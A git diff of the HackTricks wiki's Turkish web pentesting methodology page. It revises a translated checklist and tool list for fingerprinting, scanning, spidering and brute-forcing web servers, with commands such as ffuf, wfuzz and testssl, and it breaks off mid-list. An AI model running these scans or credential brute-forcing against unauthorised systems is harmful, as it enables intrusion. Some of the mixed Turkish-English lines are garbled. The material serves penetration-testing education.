diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5d6679535..ccaa8f2fe 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -432,6 +432,7 @@ - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) - [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md) - [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md) + - [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md) - [JBOSS](network-services-pentesting/pentesting-web/jboss.md) - [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md) - [Joomla](network-services-pentesting/pentesting-web/joomla.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index b3707d3dc..745ce3165 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,10 +1,10 @@ -# 80,443 - Pentesting Web Methodology +# 80,443 - Pentesting Web Metodolojisi {{#include ../../banners/hacktricks-training.md}} ## Temel Bilgiler -Web servisi en **yaygın ve kapsamlı hizmettir** ve birçok **farklı türde zafiyet** bulunmaktadır. +Web servisi en **yaygın ve kapsamlı servis** olup birçok **farklı türde vulnerabilities** bulunmaktadır. **Varsayılan port:** 80 (HTTP), 443(HTTPS) ```bash @@ -26,46 +26,46 @@ web-api-pentesting.md ## Metodoloji özeti -> Bu metodolojide, bir alan adını (veya alt alan adını) hedef alacağınızı varsayıyoruz ve sadece buna odaklanıyoruz. Bu nedenle, keşfedilen her alan adı, alt alan adı veya belirsiz web sunucusuna sahip IP için bu metodolojiyi uygulamalısınız. +> Bu metodolojide yalnızca bir domain (veya subdomain) üzerinde saldırı gerçekleştireceğinizi varsayacağız. Bu yüzden, kapsam içindeki her keşfedilen domain, subdomain veya web sunucusu belirlenmemiş IP için bu metodolojiyi uygulamalısınız. -- [ ] **Kullanılan teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın. +- [ ] Önce web sunucusu tarafından kullanılan **teknolojileri** **tanımlayın**. Tekniği başarıyla tanımlayabilirseniz testin geri kalanında aklınızda tutmanız gereken **püf noktalarını** arayın. - [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı? -- [ ] Herhangi bir **iyi bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **yararlı ipucu** var mı? -- [ ] Çalıştırılacak herhangi bir **uzman tarayıcı** var mı (örneğin wpscan)? -- [ ] **Genel amaçlı tarayıcıları** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz. -- [ ] **İlk kontrollerle** başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS taraması** (eğer HTTPS ise). -- [ ] Web sayfasını **spidering** yapmaya başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin. -- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de spidering yapılmalıdır._ -- [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force yaparak yeni **dosyalar** ve **dizinler** arayın. -- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de Brute-Forced yapılmalıdır._ -- [ ] **Yedek kontrolü**: Ortaya çıkan **dosyaların** **yedeklerini** bulup bulamayacağınızı test edin, yaygın yedek uzantılarını ekleyerek. -- [ ] **Brute-Force parametreleri**: **Gizli parametreleri** bulmaya çalışın. -- [ ] Tüm olası **kullanıcı girişi** kabul eden **endpoint'leri** **belirledikten** sonra, bunlarla ilgili her türlü **zafiyeti** kontrol edin. +- [ ] Herhangi bir **bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **faydalı püf noktası** var mı? +- [ ] Çalıştırılacak herhangi bir **özelleşmiş tarayıcı** var mı (örn. wpscan)? +- [ ] Genel amaçlı **tarayıcıları** çalıştırın. Ne bulacaklarını ya da ilginç bilgi tespit edip etmeyeceklerini bilemezsiniz. +- [ ] İlk olarak **başlangıç kontrolleri** ile başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS scan** (HTTPS ise). +- [ ] Sayfayı **spidering** ile taramaya başlayın: Tüm olası **dosyaları**, **klasörleri** ve **kullanılan parametreleri** bulma zamanı. Ayrıca **özel bulgular** için kontrol edin. +- [ ] _Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, o dizin spidered edilmelidir._ +- [ ] **Directory Brute-Forcing**: Keşfedilen tüm klasörlerde yeni **dosyalar** ve **dizinler** aramak için brute force yapmayı deneyin. +- [ ] _Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, Brute-Forced yapılmalıdır._ +- [ ] **Backups checking**: Ortaya çıkan **dosyaların yedeklerini** yaygın yedek uzantıları ekleyerek bulup bulamayacağınızı test edin. +- [ ] **Brute-Force parameters**: Gizli parametreleri **bulmaya** çalışın. +- [ ] Tüm olası **endpoints** içinde **user input** kabul edenleri **tanımladıktan** sonra, bunlarla ilişkili tüm türde **vulnerabilities** için kontrol edin. - [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md) -## Sunucu Sürümü (Zafiyetli mi?) +## Server Version (Zayıf mı?) -### Belirleme +### Tanımlama -Çalışan sunucu **sürümü** için **bilinen zafiyetler** olup olmadığını kontrol edin.\ -**HTTP başlıkları ve yanıtın çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü** **belirlemek** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:** +Çalışan sunucu **sürümü** için herhangi bir **bilinen zafiyet** olup olmadığını kontrol edin.\ +Yanıtın **HTTP headers and cookies**'i, kullanılan **teknolojileri** ve/veya **sürümü** tespit etmek için çok yararlı olabilir. **Nmap scan** sunucu sürümünü tespit edebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech**](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com) gibi araçlar da faydalı olabilir: ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Search **for** [**web uygulamasının** **sürümündeki** **zafiyetleri**](../../generic-hacking/search-exploits.md) +Ara **için** [**web uygulamasının zafiyetleri** **sürümü**](../../generic-hacking/search-exploits.md) -### **Herhangi bir WAF'yi kontrol et** +### **Herhangi bir WAF olup olmadığını kontrol edin** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web teknoloji hileleri +### Web teknoloji tüyoları -Farklı iyi bilinen **teknolojilerdeki** **zafiyetleri** bulmak için bazı **hileler**: +Kullanılmakta olan farklı, iyi bilinen **teknolojilerde** zafiyetleri **bulmak** için bazı **tüyolar**: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -77,8 +77,9 @@ Farklı iyi bilinen **teknolojilerdeki** **zafiyetleri** bulmak için bazı **hi - [**Git**](git.md) - [**Golang**](golang.md) - [**GraphQL**](graphql.md) -- [**H2 - Java SQL veritabanı**](h2-java-sql-database.md) -- [**IIS hileleri**](iis-internet-information-services.md) +- [**H2 - Java SQL database**](h2-java-sql-database.md) +- [**ISPConfig**](ispconfig.md) +- [**IIS tricks**](iis-internet-information-services.md) - [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**JBOSS**](jboss.md) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) @@ -88,7 +89,7 @@ Farklı iyi bilinen **teknolojilerdeki** **zafiyetleri** bulmak için bazı **hi - [**Laravel**](laravel.md) - [**Moodle**](moodle.md) - [**Nginx**](nginx.md) -- [**PHP (php'nin sömürülebilecek birçok ilginç hilesi var)**](php-tricks-esp/index.html) +- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html) - [**Python**](python.md) - [**Spring Actuators**](spring-actuators.md) - [**Symphony**](symphony.md) @@ -98,21 +99,22 @@ Farklı iyi bilinen **teknolojilerdeki** **zafiyetleri** bulmak için bazı **hi - [**WebDav**](put-method-webdav.md) - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) -- [**Electron Desktop (XSS'den RCE'ye)**](electron-desktop-apps/index.html) +- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Dikkate alın ki **aynı alan** farklı **portlar**, **klasörler** ve **alt alanlar** üzerinde **farklı teknolojiler** kullanıyor olabilir._\ -Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **İnternette** yeni hileler **aramayı** unutmayın (ve bana bildirin!). +_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\ +Web uygulaması önceden listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, yeni hileleri **İnternette aramayı** unutmayın (ve bana bildirin!). -### Kaynak Kodu İncelemesi +### Source Code Review -Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başınıza bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah-Kutu testi** için **bazı bilgiler** **yararlı** olabilir: +Eğer uygulamanın **source code**'u **github** üzerinde erişilebilirse, uygulama üzerinde kendi başınıza bir **White box test** yapmanın yanı sıra mevcut **Black-Box testing** için faydalı olabilecek bazı bilgiler bulunabilir: + +- Web üzerinden erişilebilir bir **Change-log** veya **Readme** ya da **Version** dosyası veya sürüm bilgisi içeren herhangi bir şey var mı? +- **Credentials** nasıl ve nerede saklanıyor? Erişilebilir herhangi bir **dosya** içinde credentials (kullanıcı adları veya parolalar) var mı? +- Parolalar düz metin mi, şifrelenmiş mi veya hangi **hashing** algoritması kullanılıyor? +- Bir şeyi şifrelemek için herhangi bir **master key** kullanılıyor mu? Hangi algoritma kullanılıyor? +- Bazı bir **vulnerability**'yi istismar ederek bu dosyalardan herhangi birine erişebilir misiniz? +- github'daki (çözülmüş veya çözülmemiş) **issues**'larda ilginç bilgiler var mı? Veya commit geçmişinde (belki eski bir commit içinde tanımlanmış bir parola) ilginç bir şey çıkıyor mu? -- **Web üzerinden erişilebilir** bir **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya **sürüm bilgisi** içeren bir şey var mı? -- **Kimlik bilgileri** nasıl ve nerede saklanıyor? **Kimlik bilgileri** (kullanıcı adları veya şifreler) ile ilgili herhangi bir (erişilebilir?) **dosya** var mı? -- **Şifreler** **düz metin** olarak mı, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor? -- Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor? -- Herhangi bir zafiyeti sömürerek bu **dosyalara** erişebilir misiniz? -- **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Ya da **commit geçmişinde** (belki eski bir commit içinde **girilmiş bir şifre**)? {{#ref}} code-review-tools.md @@ -134,10 +136,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### CMS tarayıcıları -Eğer bir CMS kullanılıyorsa **bir tarayıcı çalıştırmayı** unutmayın, belki ilginç bir şey bulunur: +Bir CMS kullanılıyorsa **run a scanner** yapmayı unutmayın; belki ilginç bir şey bulunur: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web siteleri için güvenlik sorunları. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sitelerini güvenlik sorunları için tarar. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **veya** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -147,15 +149,15 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Bu noktada, müşterinin kullandığı web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz. +> Bu noktada, istemcinin kullandığı web sunucusu hakkında (veri verildiyse) bazı bilgilere ve test sırasında akılda tutulması gereken bazı püf noktalarına zaten sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bazı scanner'lar çalıştırmışsınızdır. -## Adım Adım Web Uygulaması Keşfi +## Adım adım Web Uygulama Keşfi > Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız. -### İlk Kontroller +### İlk kontroller -**İlginç bilgiler içeren varsayılan sayfalar:** +**İlginç bilgi içerebilecek varsayılan sayfalar:** - /robots.txt - /sitemap.xml @@ -164,28 +166,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /.well-known/ - Ana ve ikincil sayfalardaki yorumları da kontrol edin. -**Hataları Zorlamak** +**Hataları zorlamak** -Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklıkları** veya **hassas bilgilerin ifşasını** açabilir. +Web sunucuları tuhaf veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **güvenlik açıklarına** veya **hassas bilgilerin açığa çıkmasına** yol açabilir. -- /whatever_fake.php gibi **sahte sayfalara** erişin (.aspx, .html, vb.) -- **Hata oluşturmak için** **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]" ve "\[\["** ekleyin -- **URL'nin** **sonuna** **`/~randomthing/%s`** vererek hata oluşturun -- PATCH, DEBUG veya FAKE gibi **farklı HTTP Fiilleri** deneyin +- /whatever_fake.php (.aspx,.html,.etc) gibi **sahte sayfalara** erişin +- **"\[]", "]]", ve "\[\["** ifadelerini **cookie values** ve **parameter** values içine ekleyin, hata oluşturmak için +- Hata üretmek için input'u URL'nin **sonuna** **`/~randomthing/%s`** olarak verin +- PATCH, DEBUG gibi **farklı HTTP Verbs** deneyin veya FAKE gibi yanlış bir verb kullanın -#### **Dosya yükleyip yükleyemediğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)** +#### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Eğer **WebDav**'ın **etkin** olduğunu ancak kök klasörde **dosya yüklemek için yeterli izinlerinizin** olmadığını bulursanız, şunları deneyin: +Eğer **WebDav**'in **enabled** olduğunu fakat root klasörüne **uploading files** için yeterli izinleriniz olmadığını görürseniz şunları deneyin: -- **Kaba Kuvvet** ile kimlik bilgilerini deneyin -- WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosyalar yükleyin**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir. +- **Brute Force** credentials +- Web sayfası içindeki bulunan diğer klasörlere **Upload files** via WebDav yapın. Diğer klasörlere dosya yükleme izniniz olabilir. -### **SSL/TLS Açıkları** +### **SSL/TLS zafiyetleri** -- Eğer uygulama **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM saldırısına** açıktır -- Eğer uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açığa işaret eder. +- Uygulama herhangi bir bölümde **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM'e karşı açıktır** +- Uygulama **hassas verileri (parolalar) HTTP üzerinden gönderiyorsa**, bu yüksek riskli bir zafiyettir. -**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** aracını kullanarak **açıkları** kontrol edin (Hata Ödül programlarında muhtemelen bu tür açıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** aracını kullanarak açıkları yeniden kontrol edin: +Zafiyetleri kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -194,65 +196,65 @@ Eğer **WebDav**'ın **etkin** olduğunu ancak kök klasörde **dosya yüklemek sslscan sslyze --regular ``` -SSL/TLS zafiyetleri hakkında bilgi: +Information about SSL/TLS vulnerabilities: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve harici kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır. +Web uygulaması üzerinde bir çeşit **spider** çalıştırın. Spider'ın amacı test edilen uygulamadan mümkün olduğunca çok yol **bulmaktır**. Bu yüzden web crawling ve harici kaynaklar kullanılarak mümkün olduğunca çok geçerli yol bulunmalıdır. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir. +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, JS dosyaları için LinkFinder ve Archive.org'u harici kaynak olarak kullanır. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider; ayrıca "juicy files" gösterir. - [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar. -- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hostta her yolu alır ve yanıtı kaydeder. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yeteneklerine sahip HTML spider. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor. -- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcılar (wayback, otx, commoncrawl) kullanan HTML spider. -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script, parametre içeren URL'leri bulacak ve listeleyecektir. -- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yeteneklerine sahip HTML spider. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS dosyalarında yeni yollar aramak için JS beautify yeteneklerine sahip. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, infosec ninja'ları için faydalı. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) göreli URL'leri bulmak için şık bir düzenli ifade kullanarak çıkarır. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, çeşitli araçlar): JS dosyalarından ilginç bilgiler toplamak için çeşitli araçlar kullanır. +- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değil ama faydalı olabilir. Hosts içeren bir dosya ve path'ler içeren bir dosya belirtirsiniz; meg her host üzerindeki her path'i çeker ve yanıtı kaydeder. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yetenekli HTML spider. Ancak bakımı yapılmıyor gibi görünüyor; önceden derlenmiş sürüm eski ve mevcut kod derlenmiyor. +- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları kullanan HTML spider (wayback, otx, commoncrawl). +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Parametre içeren URL'leri bulur ve listeler. +- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yetenekli HTML spider. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider; JS beautify yetenekleriyle JS dosyalarında yeni path'ler arayabilir. Ayrıca LinkFinder'ın bir wrapper'ı olan [JSScanner](https://github.com/dark-warlord14/JSScanner) incelenmeye değer. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağından hem gömülü javascript dosyalarından endpoint'leri çıkarmak için. Bug hunters, red teamer'lar ve infosec uzmanları için kullanışlı. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından relatif URL'leri parse etmek için Tornado ve JSBeautifier kullanan python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımı yapılmıyor gibi görünüyor. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) regex kullanarak minified dosyalardan relatif URL'leri bulup çıkarır. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): JS dosyalarından birkaç araç kullanarak ilginç bilgiler toplar. - [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Başsız bir tarayıcıda bir sayfayı yükler ve sayfayı yüklemek için yüklenen tüm URL'leri yazdırır. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini birleştiren içerik keşif aracı. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında yol ve parametre bulmak için bir Burp uzantısı. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si ile size güzelleştirilmiş JS kodunu getirir. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araçtır. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirin ve daha fazla bağlantı arayın). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak tarama yapar ve belirli regex'ler kullanarak hassas bilgileri bulur. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcısı/Spider'dır. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, gizli bilgileri ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, **fuzzing** ve **enumeration** için özel kelime listesi oluşturmak amacıyla istekten parametreleri ve uç noktaları **çıkarmak için** basit bir **Burp Suite uzantısıdır**. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser'da yükler ve sayfayı yüklemek için kullanılan tüm URL'leri yazdırır. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini harmanlayan içerik keşif aracı. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarındaki path ve parametreleri bulmak için bir Burp extension. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si sayesinde beautified JS kodunu elde eden araç. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Verilen hedef için endpoint'leri keşfetmek amacıyla kullanılan araç. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machine'den linkleri keşfeder (wayback'teki yanıtları indirip daha fazla link arar). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurma dahil tarama yapar ve özel regex'lerle hassas bilgi bulur. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Crawler/Spider. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'ler, path'ler, secret'lar ve diğer ilginç verileri çıkarmak için bir Go paketi ve [komut-satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, fuzzing ve enumeration için özel wordlist oluşturmak amacıyla isteklerden parametreleri ve endpoint'leri çıkarmak üzere basit bir Burp Suite extension'ıdır. - [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her bağlantıyı yazdırır. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her linki yazdırır. -### Brute Force dizinleri ve dosyaları +### Brute Force directories and files -Kök klasörden **brute-forcing** yapmaya başlayın ve **bu yöntemle bulunan** tüm **dizinleri** ve **Spidering** ile **keşfedilen** tüm dizinleri brute-force yapmayı unutmayın (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\ -Araçlar: +Kök dizinden **brute-forcing** ile başlayın ve bu yöntemle bulunan tüm dizinleri ve **Spidering** ile keşfedilen tüm dizinleri **brute-force** yaptığınızdan emin olun (bunu **rekürsif** olarak yapabilir ve bulunan dizinlerin adlarını kullanılan wordlist'in başına ekleyebilirsiniz).\ +Tools: -- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklere göre çok yavaş. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ama** özyinelemeli aramaya izin verir. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **özyinelemeli** arama **yapmaz**. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli aramayı destekler.** +- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Auto-signed sertifikalara izin verir ve recursive arama yapar. Diğer seçeneklere göre çok yavaş. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Auto-signed sertifikalara izin vermez ama recursive aramaya izin verir. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Auto-signed sertifikalara izin verir; **recursive** arama yok. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` -- [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizinler oluşturmak için Burp Uzantısı. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): İşlevselliği tekrarlanan URL'leri kaldırır (js importlarına dayalı). -- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak kelime listelerini seçer. +- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` +- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil; bulunan URL listesini alıp "çift" URL'leri silen bir araç. +- 